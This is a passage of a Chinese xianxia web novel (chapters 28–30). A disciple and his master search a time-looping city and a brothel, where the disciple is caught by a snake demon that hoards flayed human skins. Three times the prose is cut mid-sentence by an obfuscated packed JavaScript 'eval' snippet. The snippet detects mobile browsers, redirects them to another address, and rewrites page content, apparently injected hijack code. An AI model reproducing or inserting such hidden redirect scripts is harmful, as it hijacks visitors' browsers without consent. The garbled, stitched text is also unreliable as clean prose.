叶惟看向眼前的玉陌城城门,也是惊魂未定,“明明刚刚才入夜,眨眼间,天就又亮了?” 闻折柳淡声道:“若我没猜错的话,这应当是一种空间法器,随着花车的出现和离去开启。但不是我们的时间被改变,而是玉陌城中的时间被停止在那一刻,若不能赶在法器运作前离开,就会被黑暗所囚。” 谢槿呼吸一滞,“那在我们之前追上花车的修士……” 闻折柳道:“凶多吉少。” 闻人祤望向城中,思索道:“不过城中那些人都是活的,被困在里面也未必会即刻死去。” 叶惟神色稍缓,“也就是说,现在去救人还来得及?” 闻人祤摇头笑叹,“只是猜测罢了,还是先看看状况再说吧。道友呢?可还要入城再探?” 闻折柳道:“蛇妖还没现身。” 闻人祤便笑着邀请道:“那我们还是同行进城吧?” 闻折柳转头看向谢槿,虽然没说话,但谢槿还是立时警觉过来,坚定表示,“我要跟着师父。” “随你吧。” 闻折柳转身走进玉陌城中,谢槿赶紧追上去,闻人祤和叶惟师兄弟二人也都缓缓跟上。 这次再入城,所见与他们上次进城时一模一样,连城门口卖糖葫芦的人在哪个时间点用哪个姿势会走到哪里,路边摊贩在他们路过哪里会发出叫卖声等等,全都没变。 谢槿一路暗中观察,就算头顶还有悬着太阳,他仍是感觉到冰凉入骨的寒意,头皮发麻。 “这些人……怎么跟预设好的傀儡一样?我记得他们的每一句话和每个姿势,都跟我们上次走进玉陌城时一样,没有半点变化。” 闻人祤颔首,“但这些人身上的妖气也更重了几分。” 闻折柳道:“那就再分头打探?” “也好。” 闻人祤也不跟他客气了,带上叶惟先走了。谢槿看这师兄弟二人走进喧闹街道,又回头看闻折柳,闻折柳果然走向城东方向。 得,现在不只是城中所有人都仿佛预设一般,他们几个人现在也在走上回进城的老路。 谢槿快步跟上,见闻折柳去的俨然是昨日街角躲懒那老槐树的方向,恍然道:“师父想再试一试,若我们这次入城与上回一样,会不会也遇到同样的人、同样的事吗?” 闻折柳走到槐树下,拎出一瓶冰心玉壶先喝了一口,“待会儿会有五个小孩从巷子里出来,两男三女,在这里唱迎花神的童谣。” 谢槿看他还真在这里复刻起来,便也陪他等着。 “那就等等吧。” 他话才说完,巷子里果然跑出来几个小孩,手拉着手蹦蹦跳跳地跑到老槐树下唱着童谣。 还是那六月六花神到。 谢槿却神色微变,“师父,只有四人,两男两女。” 闻折柳自然也看到了。 这几个小孩都不怕生,吵吵闹闹地在树下玩游戏,谢槿看着看着,眉头紧锁起来,“上次我找过来时,也是他们几个在这里玩。我顺手带了五串糖葫芦,都分给了他们。” 这里出现了变化? 谢槿看向闻折柳,见他没有说话,便走向几个小孩,他这次没有糖葫芦,却有几个灵果。 他蹲下来将灵果分给几个小孩,问他们:“你们有没有见过一个扎着长辫子的小姑娘,跟你们一般大,穿着一件大红袄子,这么高,笑起来,脸颊上还有两个小梨涡。” 他一边比划一边跟几个小孩说话,脸上笑容也很温柔,几个小孩你看我我看你,才凑过来跟他说话,“哥哥在找小鱼吗?小鱼昨天去做花童了,做了花童,就不回来了。” 昨晚的花童? 谢槿顿了下,脑海中一闪而过昨夜见到花车游行时的一幕,花车上提灯的每个花童都穿着一样的红袄,似乎的确有一张笑脸上有着梨涡。他心神一凛,深吸一口气,又问:“昨天我来过的,你们不记得了?” 几个小孩都被问得一脸懵懂,一个支支吾吾地说记得,一个又说不记得,还吵起来了。 谢槿没再问下去,将灵果分下去安抚好几个小孩,便起身回到闻折柳身边,“师父,看来他们都不记得我们昨天来过,但城中时间是有变化的,今天的确少了一个小孩。” 闻折柳瞥向那几个小孩,“那不是有个说记得的吗?” 谢槿一看就知道师父不了解小孩子,好笑道:“师父,这个年纪的小朋友是会撒谎的,他们若记得,见到我时就会过来喊我,但他们几个说辞不一,说明他们都不记得。” 闻折柳不说自己懂没懂,也不与他争辩,“去客栈。” “这么快?” 见他要走,谢槿只能跟上。 师父二人回到望海楼时,正好碰上闻人祤和叶惟,相似的场景一样的人,谢槿都感觉自己要被搞懵了,还好这次的开场白不同。 “道友来了。” 闻人祤笑着点头,“方才问了掌柜一些东西,我与师弟有些头绪,正要出门,道友那边可有打听到什么消息,我们不妨边走边说?” 闻折柳随意应好。 一行四人行在街上,眼前所见与上回一样,但这次,几人看待这喧哗长街态度已不同,没有避讳,明晃晃打量这这些城中之人。 闻人祤道:“还记得我们上次进城时是六月二十七,方才问过掌柜,今日已是二十八,看来我们离开时玉陌城已经过了一夜,不过不变的是,今夜入夜时依然有花神祭。” 闻折柳摩挲指尖,而后取出了玉白酒瓶小饮了一口。 “方才我们碰见了昨日见过的几个小孩,少了一个。” 谢槿看他当着闻人祤二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几人穿过长街,闻人祤和叶惟大步走在前面,谢槿正要跟上,冷不丁被闻折柳展臂拦下。 谢槿意识到什么,看向前方二人背影,“师父怎么了?” 闻折柳撇嘴,“你急什么?” 看他不紧不慢,谢槿想了想,挪到他身边小声问:“师父怎么了?是怕他们……我们吗?” 他说着做了个抹脖子的动作。 闻折柳反倒笑起来,“想什么呢?他动我们干什么?四大宗派之所以被称为四大宗派,正是因为他们的影响力远超于其他宗门,想要除去一个寂寂无名的万灵门,只要一张嘴就有不少人上赶着帮他们办到。” 谢槿纳闷了,“那师父什么意思?” 闻折柳借饮酒暗中给他传音,“没什么意思,没看出来人家这好师兄是要给师弟历练的机会吗?你跟那么紧,怎么给人表现时机?” 谢槿欲言又止,“就为这个?” 闻折柳哼笑一声,“书读万遍,道理背熟了,不能运用,就是白读。青阳学宫向来有个不成文的规矩,这帮书生以文入道,势要将仁义礼智信这几个字刻进骨子里,但此道向来难成,他们在结丹前都会入世历练一番,借此修炼知行合一的心境。” “那个叫叶惟的小子该是学宫初出茅庐的新弟子,白有半步金丹的修为,什么都不懂,他那师兄方才言语间明摆着是在引导他。” 谢槿很少听闻折柳讲这么有道理的话,直勾勾看他。 闻折柳问:“看什么?” 谢槿叹了口气,“好羡慕叶道友,这么年轻就已经有半步金丹的修为,还有这么好的师门师兄。不像我,我的师父只会看我热闹。” 这也难怪刚认识时,叶惟就有底气跟谢槿说出若是遇到妖邪,可以站到他身后来的话。 闻折柳听不出来内涵似的,勾唇一笑,明俊逼人,接着传音,“那你再想想,闻人祤跟我们素昧平生,跟我们同行,可是因为我们这些路人也是他为师弟准备的历练?想借我们给他师弟见识一下人心险恶?” 谢槿怔了下,而后大惊,心下没忍住大呼一声我去!我和师父也是你们历练的一环吗? 他突然有种修真界版陪太子读书的错觉,一言难尽。 “那我们接下来怎么办?” 闻折柳道:“该怎么办怎么办,不要迷信四大宗派。” 谢槿背过身竖起四根手指,担忧道:“可他们毕竟是……我们得罪他,对宗门影响不好吧?” 闻折柳不以为意,“他要历练,我要捉妖,我是万灵门的常先,看我不顺眼就冲我宗门来。” 谢槿嘴角抽搐,“咱们宗门……” 看来师父态度坚决,是不会为四大宗派的人让步的。 那他…… 谢槿不再问了,轻咳一声羞愧捂脸,心中默念三遍——我是柳月,我是柳月,我是柳月…… 要是无意坏了人家修行,青阳学宫就找柳月算账吧! 29. 第二十九章 不过白日里就去寻花魁,谢槿总感觉有哪里不对,等一行四人抵达玉陌城中门窗紧闭的天香楼门前时,谢槿终于明白过来什么。 既然九域下层的普通人生活和人间没有太大差别,那么想来某种糟粕文化也是差不多的,就比如青楼,它可能不会太早开门…… 所以他们吃了个闭门羹。 但叶惟显然不懂这点,“师兄,这楼中果真有妖气,光天化日大门紧闭,怕是心中有鬼。” 看来师父猜的没错,这位叶道友也没有撒谎,果然是个第一次走出青阳学宫的愣头青…… 谢槿欲言又止,默默看向天香楼门前,门后朱楼红绸飘扬,花香馥郁,闻着着实有些醉人。 闻人祤同样出自青阳学宫,但比叶惟年长许多,自也见多识广,“师弟,天香楼是青楼,本也不会大早上就开门,入夜后才是最热闹的。不过妖气比街上更重也是真的。” 叶惟顿时闹了个红脸,又因为师兄最后那一句肯定信心倍增,满是信赖地看向闻人祤。 “那师兄,我们如何进去?” 天香楼门前白日冷清,街头街尾看不见什么人影,闻折柳打量了一眼四周,抬脚上前。 “翻墙吧。” 叶惟啊了一声,面露为难。 “这,岂是君子所为?” 谢槿无奈摇头,跟上闻折柳,闻折柳身影一跃上了墙头,他便也提气跃上,跟着跳下去。 只余下闻人祤与叶惟,师兄弟二人对了一眼,闻人祤眸中含笑,叶惟便尴尬地挠了挠头。 闻人祤道:“走吧。” 爬墙私闯天香楼本不是君子所为,奈何他们本是要追查妖孽。等闻人祤和叶惟进来时,谢槿已经跟着闻折柳走近那座红楼前,但他看不出什么妖气,只看到眼前所见。 本以为天香楼白日里多少留个人洒扫,结果几人在院前走了一圈都没碰到一个人,等推门进去花厅一看,里面光线晦暗,异常干净,还有些阴冷,不像有人待过的样子。 花厅中心有个莲叶形的圆台,应当是表演用的,四周悬着一盏盏花灯,许多红绸连接到楼上。 楼梯两侧还摆放着一些酒坛,谢槿跟着闻折柳走上楼梯,指尖轻擦过楼梯栏杆,抹了浅浅的一层灰,再闻到空气中湿冷的气味,他捻去指尖灰尘,低声说:“桌子栏杆都积了灰,不像是近期接待过客人的样子。” 叶惟行过莲叶圆台边缘,边走边仰头打量自楼上垂落的红绸花灯,小声附和道:“没有半点人气,这地方,怕是很久没有人来了。” 闻人祤提议道:“这座天香楼不小,进来后反倒察觉不出妖气了,也不知那所谓花神藏在何处,道友,我们不如分头找找吧?” “好。” 闻折柳边应着边上楼。 他腿长走得快,谢槿要小跑着才能跟上,不一会儿就上了二楼。谢槿看着闻折柳推开一扇扇房门,房中布置都齐全,妆台上的胭脂床头上的舞衣一样不少,也都没有人。 只不过闻着都有一股接近发霉的湿冷味道,谢槿皱了皱鼻子,“师父,这地方真有人吗?” 走出闻人祤师兄弟视线范围后,闻折柳愈发随性,瞥两眼便往下一个房间走,闻言回头看了谢槿一眼,“是有一缕若有似无的妖气,你觉得妖若要藏身楼中,会躲在哪里?” 谢槿哪里知道? “师父都不知道,我怎么知道?” 闻折柳理所当然地问:“你不是人间来的吗?这青楼什么地方好藏身,你就没有头绪?” 谢槿嘴角一抽,心说我是人间来的,人间!正经人! 之前以为只有叶惟一个人愣,没想到师父也是…… 谢槿认为有必要为自己辩解一下,“师父,虽然人间也有青楼,但我才十六岁,我还未婚配,以前身体又不好,在人间时家教甚严,若我敢去这种地方是要挨手板子的。” 闻折柳看向他的手,“手板?你们人间时兴这种?” 谢槿怕他以后也要给自己安排这种责罚,连忙把双手背在身后,“师父!我们还要捉妖呢!” 闻折柳轻哼一声,侧身让开楼道,“这楼里妖气是重,却没有人,做个样子就行了,你去。” 谢槿当即恍然大悟,师父一眼能看出来楼里没有人,闻人祤应当也能,闻人祤主动提出分开搜查,或许想干点什么。可没有人,会有妖啊,谢槿小心地推开下一间房门。 里面果然没有人。 谢槿放松下来,瞥向楼下,“我们要配合他们吗?” 闻折柳俨然没这个意思,抱着玉瓶靠在门板上,“若我没猜错的话,整座玉陌城都被一件法器控制了,每夜的花神祭就是法器开启的时候。摘星阁的人说过,那条身怀灵药的蛇妖手里就有这么一件神秘仙器。” 他说话时,肩上蹲着的小黄鸟也是一副深沉模样。 谢槿心下好笑,却不敢表露出来,板起脸认真道:“在柳仙镇时师父就说过仙器,原来就是这件可以操控玉陌城时间的法器吗?” 闻折柳说:“摘星阁的人说,那仙器颇为玄妙,能让人在不知不觉中死去,连他们的元婴弟子都栽了跟头,是或不是,恐怕唯有死在仙器下的人或是逃出仙器外的人才能回答这个问题。但昨夜若是我们跑得慢些,就算是化神期也会被吞噬。” 谢槿便有些后怕,“那岂不是说,连师父都会……” 闻折柳镇定得很,“这不是逃出来了吗?不过若是我下回顾不上你,你倒是可以跟紧那个闻人祤。那家伙修为不在我之下,不,应该说,连我也看不穿他的底细,估计他在那青阳学宫里也算得上一号人物。” 连师父都看不穿的人,修为一定不低,谢槿将这话记下来,又问:“四大宗派都这么厉害吗?那我们揽月宗比起四大宗派怎么样?” 闻折柳奇怪地看他一眼,“不是早跟你说过了吗?” 谢槿迷茫,“什么时候?” 闻折柳抿了口灵酒,表情很冷淡,“九流宗门。” 谢槿才想起来他是指在常先面前说过的那话,当时还以为师父是在内涵常先和万灵门…… 原来是真的啊? 小黄鸟忽然抖抖翅膀,“叽!” 这像是什么信号,闻折柳挑起眉梢,朝谢槿摆手。 “有人来了。” “要躲起来吗?”谢槿紧张起来,就听见楼下院中传来一声叱喝——“你们两个是什么人!” 闻折柳抬手按住谢槿肩头,示意谢槿别乱动,楼下便紧跟着响起了叶惟慌乱解释的声音。 “别动手!我们是来捉妖的,这楼中有妖孽作祟……” “胡说八道!哪儿来的外乡人,不知道今晚花神祭的花神要在天香楼出发吗?胆敢在准备花神祭时作乱,来人,把他们抓起来!” “不是,你们听我说……” 楼下叶惟解释的声音又无奈又着急,但很快便被乱哄哄的人群声淹没。谢槿能想象出楼下来了不少人,要捉拿叶惟和他师兄这两个破坏花神祭的家伙,压着声音问闻折柳:“师父,我们要去帮他们脱困吗?” 闻折柳却是喜闻乐见,“既然是历练,会遇到什么谁又说得准?再说那倒霉蛋自有他师兄管。不过楼下那些人突然出现,绝对不是巧合,趁他们吸引了那些人,快去搜。” 他松开谢槿,转身走出房间,谢槿赶紧追上,做贼似的压着声音问:“楼下那些都是人吗?” “妖好对付,人却不易。” 闻折柳也懒得一间间房间搜查了,袖袍一振,冷风扫过楼道,一整排房间门悉数洞开。 俱是空荡荡的,没有人。 待闻折柳放开神识一探,眸光很快锁定了这座天香楼的顶层,也就是三楼,“走,上楼。” 谢槿还在思考他方才那句话,见他要走只能跑过去,心想师父说得有理,像他们这些修为的人对付妖只需出手便是,但若阻拦他们的是人,叶惟估计无法狠心伤害他们。 他们刚来,这些人就匆匆出现,这楼里果然有问题。 踏上三楼,入目便是飘扬的红绸,几乎挂了满厅,红得有些刺眼,也衬得闻折柳一身黑衣愈发明俊逼人。满目的红绸尽头是一个房间,房门紧闭,闻折柳步伐慢下来。 谢槿压低嗓音,“师父?” 闻折柳摆手不语,走到房门前,正要推门,身后楼道中冷不丁传来一声女子娇叱,“你是谁!” 有人上楼来了! 谢槿心下一惊。 闻折柳一掌推在他肩上,将他推至红绸后,传音入耳,“是妖,来者不善,你先躲起来。” 谢槿脚下趔趄,擦着红绸往后倒退,手掌无意中似乎碰到了墙边的花瓶,莫名滑了一下,肩头便撞到墙上。不料那墙面上冷不防开了一道暗门,叫他整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105408|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失力倒下,手肘先落地,尖锐痛感骤然袭来。 他还记得师父的叮嘱,不敢出声,忍住到嘴边的痛呼,可当他抬眼再看时,才惊觉自己正倒在一间房间门前,一抬头就能看到妆台上正对房门的黄铜镜,镜中正是自己。 模糊的镜面依稀照见他的脸,也能倒映出他身后的景象,谢槿的呼吸忽然停滞,不敢回头,也不敢乱动——因为在镜中,他身后不是方才的红绸,而是灯火通明的楼道。 房中静静燃着一双龙凤烛,半开的窗外天是黑的。 分明他们上楼时还是清晨。 而且方才谢槿也没有进入顶楼那个房间,这个房间又是何处出现在藏在红绸后的墙上的? 谢槿桃花眼紧了紧,深吸一口气,才缓缓回头。这一眼,正如铜镜中倒映一般,是夜间挂上了花灯的楼道,与二楼一模一样,楼下传来喧闹人声,还有脚步声正要上楼。 师父不见了! 谢槿一双桃花眼泛起湿意,刚刚他和师父还在笑话人家叶惟倒霉,没想到自己比人家还倒霉…… 他又落单了! 咚咚咚—— 脚步声越来越近,似乎很快就要走到楼上来,也仿佛催命符一般,谢槿分辨不清眼前究竟是真实还是幻境,也不知道来的会是人还是妖。再看这房间中空无一人,谢槿捏紧腰间的铁球让自己冷静下来,便爬起来走进这个房间,将房门紧紧关上。 这个房间比他方才和闻折柳搜查过的房间都要大上一倍,房中摆设几乎一样,只是更精美一些,空气中飘着馥郁香气,像是胭脂味,又像是昨夜花神祭时的花香,记忆中的香气重新出现,让谢槿头皮发麻。 他捂着手肘走到窗前,往外一看,这回真想哭了。 窗外不是天,是一片黑暗,什么都没有的黑暗。他回头梭巡一眼房内,拿起妆台上一盒胭脂往楼下扔,那白玉做的胭脂盒子本该落地就碎,等了一阵,什么声响也没有。 跳下去只怕死得更早…… 谢槿嘶了一声,默默退回房中,他究竟是到了什么地方了?还是摔了一跤,摔出幻象了? 手背无意碰到妆台后的衣架,柔软细腻的触感让谢槿吓了一跳,连忙缩回手,才发觉这木架上挂着一身漂亮的华美红裙,与昨夜那名扮作花神的花魁衣着有七八分相似。 不过在这身红裙后还泄漏了一抹怪异的乳白,那里是一座等人高的梨花木屏风,绣着盛开的大红牡丹,那一抹乳白正是从屏风一角泄漏出来。回想起那种诡异的触感,谢槿有种越发不妙的预感,伸出手按住屏风边缘,慢慢地将其往里推开几寸。 只推开一角,谢槿便呼吸停滞下来,角落里横着一条木架,将一张雪白的皮挂在上面。 谢槿一眼就对上那张白皮垂落下来的顶部,竟看到了人的五官,有眉毛、鼻子、嘴巴…… 还有些眼熟…… 是昨夜见过的花魁! 谢槿心下大骇,将屏风又推开几分,让角落中隐藏之物悉数显现在烛光之下——那是一张张挂着的人皮,还保留着五官,似乎连温度都保存下来,无一不是貌美的女子! 而这些人皮上花香味更浓,但细闻之下,却似乎隐藏着血气,甜甜腻腻的,透着几分恶臭。 谢槿突然感觉肚子里开始翻江倒海,有些想作呕。 他也没敢细数,呼吸都变得越发急促乃至窒息,便抖着手将屏风拉回去,藏起那一张张人皮。 他看似还是冷静的,其实人已经吓麻了,师父啊师父,你这一掌究竟把我推到什么地方来了! 偏偏在这时,脚步声到了房门前,谢槿迅速站起身来,想找地方藏身,最后目光定格在屏风前,又实在没办法说服自己藏进去。 终于,房门吱呀一声打开。 一道红衣倩影被门外的灯光映在门内地毯上,身姿婀娜,柔若无骨,梳着妩媚的灵蛇髻。 随着房门被慢慢推开来,红衣女子柔声笑道:“公子还想躲哪儿去?妾身都看见你进来……” 房门被完全推开,露出房中景象,红衣女子话音随之一顿,因为房中之人根本没躲。那一身书卷气的青衣少年睁着一双无神的桃花眸,红着脸朝房门方向躬身行了一礼。 “抱歉,小生身患眼疾,被友人戏耍带入楼中,本想寻个地方躲清静,无意惊扰了姑娘。” 红衣女子愣了下,“你是瞎子?” 30. 第三十章 谢槿睁着一双黑眸,脸色微微泛白,难掩不安,又似乎因为避讳,垂眸避开门前红衣女子的注视,“小生只是因病暂时看不见。” 红衣女子打量他须臾,勾起红唇走进房中,“是吗?” 谢槿余光瞥见她正在关门,又道:“小生无意闯入房中,这便离开。”他说着便双手在眼前摸索着,一点点往前探去。那红衣女子半点不着急,在他眼皮下慢慢关上门。 眼看房门完全合上,谢槿当真要绝望了,不料那红衣女子忽然抬手抓住他的手腕,笑问:“小公子往哪儿走呢?这边可不是门。” 隔着衣袖,对方手中阴冷的温度仍是霸道地传来。谢槿本能要缩回手,“多谢姑娘好意,但小生可以自己走,男女授受不亲……” 红衣女子一双手分明秀美至极,却给人一种被蛇缠身的错觉,她扣紧谢槿手腕,看着谢槿挣扎,又笑起来,引着他回到房中,柔声说道:“公子错了,房门在这边。” 本想忽悠人,没想到被忽悠的人比他还能忽悠…… 眼看红衣女子拉着自己回到桌前,离房门越远越远,还挣扎不出来,谢槿唇边笑容苦涩。 “姑娘,小生……” “小公子莫要客气,来都来了,先坐下喝口茶。” 红衣女子力气比谢槿大上许多,直接按着人在桌前坐下。这似曾相识的感觉,让谢槿想起了柳仙镇的柳月,还好红衣女子同时也松开了他,被蛇缠身的感觉总算消散。 谢槿悄悄攥紧了腰间铁球,“小生不渴,而且小生的师父还在客栈中等小生,姑娘……” 红衣女子提壶斟酒,打断他的话,“来到天香楼,还叫什么姑娘?小公子若只想躲清静,可谁房中不去,偏生闯入妾身房中,这说明你我有缘。妾身看小公子年纪不大,唤妾身一声姐姐便是,妾身保你那好友找不到这里来,小公子如何称呼?” 谢槿虽然匆匆找了个借口说是被友人戏耍带来天香楼,可他还是盼着有人能找来的啊! 红衣女子将酒杯放在谢槿面前,还拉过他的手,示意他酒杯所在,“小公子,酒在这。” 若谢槿真是个瞎子,定要感慨一句好热情的小姐姐,问题是他是装瞎,这地方不对劲,这女子也不对劲,是不是人还不一定……谢槿心下落泪,不动声色缩回手婉拒。 “小生有恙在身,不能饮酒。”谢槿想了想,装作羞涩低头,“小生姓柳,多谢姐姐好意,但小生真的要走了,不然师父该急了。” 他这话说得自己都牙酸,师父急不急他不知道,但他真的不想说什么小生什么姐姐的…… 红衣女子仿佛听不出他要走的意思,涂着水红蔻丹的手指在果盘上挑了挑,摘了一枚饱满的葡萄开始剥皮,笑盈盈道:“姓柳啊?好巧,姐姐也姓柳,我叫柳仙儿,小柳弟弟若是不想喝酒,那便吃葡萄?” 柳仙儿? 九成九是蛇了! 说话间,剥干净皮的葡萄已经被送到谢槿唇边,谢槿呼吸一顿,委婉拒绝,“多谢仙儿姐姐,但师父说,我如今什么都不能吃。” “那你师父管得还挺多。” 柳仙儿也不强求,手腕一转,将葡萄扔到自己嘴里,拿出手帕擦干净手,便起身走到谢槿面前,靠坐在桌上,俯身看他。她也没想藏,眼睛很快变作了蛇类的竖瞳。 “小柳弟弟的师父在哪儿?你不便行走,姐姐派人帮你送个口信,叫他过来接你好了。” 谢槿当做什么也看不见,拱手道:“多谢姐姐,但不必了,小生认得回去的路,何况此时师父大抵还在与青阳学宫的两位前辈在一起,小生也不想因自己坏了师父的事。” “青阳学宫?” 柳仙儿手掌贴近谢槿脸颊,过分尖长的指甲若有似无地擦过他脸颊,“姐姐没有听说过什么学宫,只知道玉陌城城北有个学堂。” 这蛇妖还在装! 谢槿也只能演下去,“听闻是大门派,碰巧遇上了。” 那指甲在他眼前晃得他心惊胆战的,谢槿找到时机立马起身退开,“小生真的该走了。” 柳仙儿没再拦他,就着桌上的龙凤烛烛光欣赏蔻丹。 “那你找到门就走吧。” “多谢姐姐。” 谢槿毫不犹豫道谢,也没忘记自己现在的人设,摸索着转身走向门前,又略偏了几分。 柳仙儿余光瞥见,轻声一笑。 谢槿看她居然如此大方,也不敢信这是个好妖,正琢磨着如何拐回门前,房门就消失了—— 真的在他眼前消失了! 门都没有了! 天呐! 现在蛇妖已经这么狡猾了吗? 谢槿感觉自己当场石化了。 柳仙儿自顾自起身走到妆台前,拉开那扇牡丹屏风,一张张带着花香人皮再次显露人前,柳仙儿指尖点了点,挑中了一张新皮。 “小柳弟弟若再不走,姐姐我也要梳妆了。今夜的花神祭,姐姐可是唯一的花神人选。” 谢槿也想走,可他没门啊! 谢槿出了一头冷汗,只能扶着墙边花瓶求助柳仙儿,“还望仙儿姐姐指路,小生看不见……” “那就不要走好了。” 柳仙儿笑声如银铃,吓得谢槿心头一颤一颤的,她走到谢槿身边,拿着一张人皮展开,将人皮上的脸凑到谢槿面前来,笑容阴恻恻的,“弟弟看,姐姐这身衣裳好看吗?” 谢槿气虚道:“好看……” 柳仙儿掐住他的下巴,将他的脸抬起来,一双竖瞳含着笑意,变得幽冷,“弟弟能看到?” 谢槿双眼一眨不眨,“姐姐待小生好,姐姐是好人,想来穿什么衣裳都当得起花神之名。” 柳仙儿盯着他的眼睛,又抿唇笑起来,“好甜的小嘴,叫姐姐都不忍心将你赶出去了呢。” 谢槿也希望能被赶出去。 柳仙儿丢开手中人皮,指甲往上,倏然长出二寸,尖端锋利如针尖,慢慢刺向谢槿的眼睛。 “弟弟真的看不见吗?” 谢槿突然有种预感,只要他说看不见,那他这双眼睛今天就别想要了。他不再隐忍,指尖在袖中扣紧一张驱邪符,想趁其不备贴上柳仙儿,未料手腕刚才抬起就被扣住。 那张驱邪符便明晃晃地飘在二人面前,柳仙儿唇边笑意阴冷,“小柳弟弟怎么玩起符纸了?” 谢槿不再犹豫,指尖凝起灵力,射向柳仙儿心口,柳仙儿冷笑一声,拍开他的手退开。 辟邪符落地,二人分开两侧。 柳仙儿抬手一挥,辟邪符便被妖力侵蚀粉碎,似笑非笑道:“好弟弟,你为何要打姐姐?” 谢槿取出三张灵符,凝起灵力朝她射去,苦笑道:“姐姐貌似蛇妖,小生实在很难忍住不动手。一张驱邪符不够,三张够不够?” 他说是驱邪符,实则祭出的分明是引火符,三张灵符变出许多火球扑向柳仙儿,柳仙儿只需弹指,便轻而易举一一扑灭,嘲笑道:“弟弟,你这驱邪符好像货不对板啊。” 谢槿扣紧腰间铁球,叹道:“货不对板就对了,极品驱邪符又不是批发的,我哪有这么多?不过柳仙姐姐,不如再看看我这傀儡?” 柳仙儿嗔他一眼,“可姐姐更想要弟弟看我的眼睛。” 谢槿一愣,什么? 他下意识要别开眼,未料还是迟了一步,柳仙儿眸中涌出血光,对视一眼,谢槿便觉得心神似要被震出体外,身体就不听使唤了。 四肢动不了,也说不出话,唯有一双眼睛死死瞪大。 这是什么招数?! 柳仙儿柔声一笑,朝他走来,手搭上他的肩头,锋利的指甲再次轻抚过脸颊,靠近眼前,就如同蛇类一般,一点点缠上人的身体。 “小弟弟胆子不小,只是炼气期就敢来闯我这闺房,还当着我的面睁着眼睛说瞎话,确实要比与你同行那几人有趣许多。可惜花神祭要开始了,姐姐没时间再陪你玩了。” 她的指甲太过锋利,轻轻一擦,谢槿眼睑下便多了一道血痕。血珠滚落,被指甲盛住送往朱唇,猩红的蛇信子将血水卷入口中。 “还是纯正的人血好喝。” 谢槿眼瞳颤了颤,心跳越发急促,紧紧盯着她。 柳仙儿笑问:“想说什么?” 谢槿咬了咬牙,才勉强张开嘴,“我,师父……” 柳仙儿低声笑起来,手掌抚过他肩头,落到他心口上,“姐姐可不轻易回答旁人的问题,待吃下你的心,你便能与你师父见面了。” 谢槿动不了,根本召唤不了剑傀,师父也不在…… 这下完了。 想不到他谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105409|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 槿胎穿十六年,刚刚走上修行之路,还不到三个月,短暂人生就要结束了。 指甲穿透衣料,渐渐递上少年单薄的胸膛,柳仙儿忽然停下,捏着谢槿下巴就近端详。 “嗯?你的脸……” 谢槿惊疑,她还想干什么? 柳仙儿竟收回手,指尖往上扣住他的脖子,竖瞳笑意森冷,“似乎是一具不错的皮囊……” 她还未说完,一道剑光忽而破墙而入,柳仙儿神色一紧,丢开谢槿飞退。那一道锋锐的赤红剑光落到她方才所站之处上,三尺长剑钉着一条断尾的青蛇,深刺入地板。 无人支撑,谢槿的身体就要倒下,还未落地便被一只手捞起,熟悉而温和的灵力拍入肩头,谢槿骤然浑身一轻,喘着粗气抓紧闻折柳的手臂,红着双眼将其死死抱紧。 “闻折柳,你怎么才来!” 他差点就死了啊! 闻折柳被他这一嗓子嚎得一顿,拎起他肩头叫他站好了,才抽出长剑,偏头瞥向柳仙儿。 “祸害玉陌城的,就是你?” 柳仙儿看向地上早已咽气的竹叶青,秀眉紧蹙,竖瞳冷冷望向闻折柳,“你敢动我的人?” 闻折柳看见谢槿右眼眼睑下的一线红痕,眸光一沉。 “你欺负我徒弟了?” 谢槿终于恢复自由,激动得当场热泪盈眶,闻言重重点头,抓住闻折柳衣袖愤愤告状。 “她还想挖我心!” 轰然一声,墙上缺口再次被撕裂坍塌,闻人祤和叶惟的身影随即出现。叶惟见到谢槿赫然松了口气,快步走来,“柳道友!听闻你独自一人落到了蛇妖手中,你没事吧?” 谢槿见到他便松开了闻折柳,但还是冷静不下来。 “我感觉不太好……” 他摸了摸心口,衣服上还有柳仙儿留下的手指洞。 小黄鸟叽了一声,从闻折柳怀里飞出去落到谢槿肩上,歪着脑袋蹭了蹭谢槿颈侧。谢槿才感觉心口舒畅许多,指腹揉揉小黄鸟。 “我没受伤。” 闻折柳瞥他一眼,手中灵剑倏然飞出,柳仙儿大抵没料到他会说出手就出手,躲得再快,脸颊还是出现了一道血痕,腥冷血水落下来,她捂住脸惨叫一声,“我的脸皮!” 但见灵剑载着炽热火焰再来,柳仙儿转身便飞出窗外。闻人祤轻笑一声,一踏步闪身出窗外,“阁下手段好生了不得,险些叫我师弟吃了大亏,常道友,让我来会会它。” 闻折柳便召回灵剑,“随你。” 谢槿才缓过神,跟着看去,方才还是一片漆黑虚无,此刻窗外却变成了暮色中的玉陌城。 “天又亮了?” “笨,是跳出幻境了。” 闻折柳手掌揉过他脑袋,拎起他肩头和小黄鸟跳出窗外御剑,叶惟见状便也跟着飞出来。 